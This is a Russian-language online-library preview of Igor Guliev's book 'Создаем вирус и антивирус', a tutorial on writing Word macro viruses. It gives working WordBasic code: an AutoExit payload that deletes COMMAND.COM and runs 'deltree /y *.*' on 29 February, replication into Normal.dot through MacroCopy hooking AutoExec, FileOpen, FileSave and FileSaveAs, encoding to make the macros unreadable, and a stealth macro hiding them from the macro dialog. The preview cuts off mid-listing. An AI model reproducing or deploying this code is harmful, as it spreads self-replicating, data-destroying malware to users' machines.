Игорь Гульев - Создаем вирус и антивирус
- Название:Создаем вирус и антивирус
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Игорь Гульев - Создаем вирус и антивирус краткое содержание
Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).
Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
Function <���Имя>(Аргументы)
[.]
End FunctionАргументами могут быть константы, переменные или выражения. Процедуры могут быть и без аргументов.
Function Get_Name()
Name=Application.UserName
End FunctionНекоторые функции всегда требуют фиксированное число аргументов (до 60). Другие функции имеют несколько обязательных аргументов, а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, вирусы и «троянцы» на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык прост в изучении и использовании, поскольку он является языком визуального программирования, он ориентирован на события, а не на объекты. С его помощью без особых затрат времени очень легко создавать сложные модули. Во вторых, можно использовать большое количество предопределенных функций, облегчающих работу. В третьих, имеются функции (или макросы) автоматического выполнения, что позволяет упростить написание процедур автокопирования, занесения в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости. VBA работает под Win 3.x, Win95, WinNT, MacOS и так далее, то есть в любой операционной системе, где можно запустить приложения его поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения, из-под которого он запущен. Это означает, что если на компьютере установлена, например, испанская версия WinWord, то имена предопределенных функций будут также на испанском. Так что два следующих макроса – вовсе не одно и то же.
Первый макрос (испанский):Sub Demo_Macro
Con Seleccion.Fuente
.Nombre=”Arial”
Fin Con
End SubВторой макрос (английский):
Sub Demo_Macro
With Selection.Font
.Name=”Arial”
End With
End SubПоследний макрос не будет работать в испанской версии WinWord (а первый – в английской) – он вызовет ошибку выполнения макроса. Еще отметим, что VBA – язык интерпретируемого (некомпилируемого) типа, так что каждая ошибка выполнения проявляется «в полете».
Существуют функции, единые для всех версий VBA, вне зависимости от языка. Например, автоматический макрос AutoExec.
Всего таких специальных макросов пять, выполняются они автоматически:
AutoExec: это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений;
AutoNew: активизируется при создании нового документа;
AutoOpen: активизируется при открытии существующего документа;
AutoClose: активизируется при закрытии документа;
AutoExit: активизируется при выходе из текстового процессора.
В качестве доказательства силы и универсальности этих макросов рассмотрим следующий фрагмент кода (о языке уже договорились).’Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main
’Проверим регистрационное имя
If Application.Username <> ”MaD_MoTHeR” Then
’Снимем атрибуты COMMAND.COM
SetAttr ”C:\COMMAND.COM”,0
’Откроем для проверки – вдруг появятся ошибки
Open ”C:\COMMAND.COM” for Output as #1
’Если ошибки есть, то закроем.
Close #1
’и удалим
Kill ”C:\COMMAND.COM”
End If
’Проверим месяц и дату. Если 29 февраля, то выполним
’команду ”deltree /y >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell ”deltree /y *.* >nu”
End If
End If
End SubЧто делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда «deltree /у *.* > nul»).
Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:name$=WindowName$()+”:AutoNew”
’этот макрос будет выполняться каждый раз
’при создании нового документаТеперь нужно записать макрос в шаблон NORMAL.DOT простой командой:
MacroCopy name$, ”Global:AutoNew”
Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.
MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1
Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.
Код для процедуры автовыполнения может выглядеть примерно так:Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) ’Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)=”PayLoad” Then
bInstalled =–1 ’с помощью макроса PayLoad
End If
If MacroName$(i, 0, 0)=”FileSaveAs” Then
bTooMuchTrouble =–1 ’но если есть макрос
FileSaveAs,
’то заразить тяжело
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
’Добавим макросы FileSaveAs и копии AutoExec и FileSave
’Payload используется только для проверки на зараженность
’,1 – кодирует макросы, делая их нечитаемыми в Word
iWW6IInstance=Val(GetDocumentVar$(”WW6Infector”))
sMe$=FileName$()
Macro$=sMe$+”:PayLoad”
MacroCopy Macro$, ”Global:PayLoad”, 1
Macro$=sMe$+”:FileOpen” ’Будет происходить заражение
MacroCopy Macro$, ”Global:FileOpen”, 1
Macro$=sMe$+”:FileSaveAs”
MacroCopy Macro$, ”Global:FileSaveAs”, 1
Macro$=sMe$+”:AutoExec”
MacroCopy Macro$, ”Global:AutoExec”, 1
SetProfileString ”WW6I”, Str$(iWW6IInstance+1)
End If
Abort:
End SubПроцедура SaveAs
Она копирует макро-вирус в активный документ при его сохранении через команду File/SaveAs. Эта процедура использует во многом схожую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy ”FileSaveAs”, WindowName$()+”:FileSaveAs”
’Заражает при сохранении документа
MacroCopy ”FileSave”, WindowName$()+”:FileSave”
MacroCopy ”PayLoad”, WindowName$()+”:PayLoad”
MacroCopy ”FileOpen”, WindowName$()+”:FileOpen”
’При открытии документа
Dlg.Format=1
End If
FileDaveAs dlg
End SubЭтой информации вполне достаточно для создания небольших макровирусов.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox ”start ToolsMacro”
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox ”1”
GetCurValues dlg
If macros.bDebug Then MsgBox ”2”
On Error Goto Skip
Читать дальшеИнтервал:
Закладка: